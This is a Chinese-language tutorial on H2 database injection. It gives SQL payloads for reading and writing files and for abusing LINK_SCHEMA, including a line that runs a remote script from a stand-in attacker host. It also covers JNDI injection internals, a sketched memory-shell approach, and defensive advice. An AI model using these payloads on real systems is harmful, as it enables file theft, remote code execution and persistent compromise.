h2注入系统学习
字数 1160 2025-08-22 12:23:30
H2数据库注入系统学习文档
1. H2数据库基础注入技术
1.1 文件读取
H2数据库提供了文件读取功能,可以通过以下SQL语句实现:
SELECT * FROM CSVREAD('文件路径');
简化用法(只输入文件名参数):
SELECT * FROM CSVREAD('test.txt');
1.2 文件写入
H2数据库支持文件写入操作:
CALL CSVWRITE('文件路径', 'SELECT * FROM TABLE');
注意问题:
- 写入文件时可能会遇到类型转换错误(如
NumberFormatException) - 原因是H2在获取结果时,会根据第一行对应列的数据类型决定后续行的数据类型
- 当
file_write返回数字而后续行包含字符串(如"admin")时,会导致转换错误
2. JDBC连接利用
2.1 link_schema函数
H2提供了link_schema表函数,可以用于发起JDBC连接:
SELECT * FROM LINK_SCHEMA('驱动类名', 'JDBC URL', '用户名', '密码', '模式名');
2.2 远程SQL代码执行
利用JDBC连接可以执行远程SQL代码,需要注意:
- H2中单引号(
')括起来的是字符串,双引号(")括起来的是列名 - 单引号转义不是用反斜杠,而是用两个单引号表示一个单引号
利用方式:
SELECT * FROM LINK_SCHEMA('org.h2.Driver', 'jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ''http://attacker.com/evil.sql''', 'sa', 'sa', 'PUBLIC');
不出网情况下的利用:
- 先将SQL脚本写入目标机器
- 再发起JDBC连接执行本地脚本
3. JNDI注入分析
3.1 link_schema底层实现
分析LinkSchemaFunction的getValue方法,最终会进入JdbcUtils.getConnection,关注driver和url两个参数。
关键点:
- 如果URL以
jdbc:h2开头,则发起JDBC连接 - 否则对
driver参数进行类加载
3.2 类加载机制
loadUserClass方法流程:
- 检查
allowedClassNames(默认为*,允许所有类) - 使用
Class.forName进行类加载
加载完成后:
- 如果是驱动类,则进行
newInstance - 如果是
Context类,则发起JNDI连接
3.3 JNDI限制
高版本H2对JNDI有限制:
- 2.1.x全版本:URL必须以
java:开头 - 2.0.x < 2.0.206:无此限制
4. 内存马技术
4.1 不出网情况下的利用
当目标不出网无法反弹shell时,可以考虑使用内存马技术。
4.2 Filter型内存马实现步骤
- 将恶意代码写入目标机器
- 加载并执行恶意代码
测试代码示例:
// 这里应包含Filter内存马的具体实现代码
// 通常包括动态注册Filter、命令执行逻辑等
5. 防御建议
- 限制H2数据库的文件系统访问权限
- 升级到最新版本的H2数据库(注意JNDI限制)
- 避免在生产环境使用H2的
link_schema等危险功能 - 实施严格的输入验证和参数化查询
- 限制数据库用户的权限,避免使用高权限账户
6. 总结
H2数据库注入技术主要包括:
- 文件系统操作(读写)
- JDBC连接滥用
- JNDI注入
- 内存马技术
防御关键在于:
- 及时更新补丁
- 最小权限原则
- 禁用危险功能
- 输入输出过滤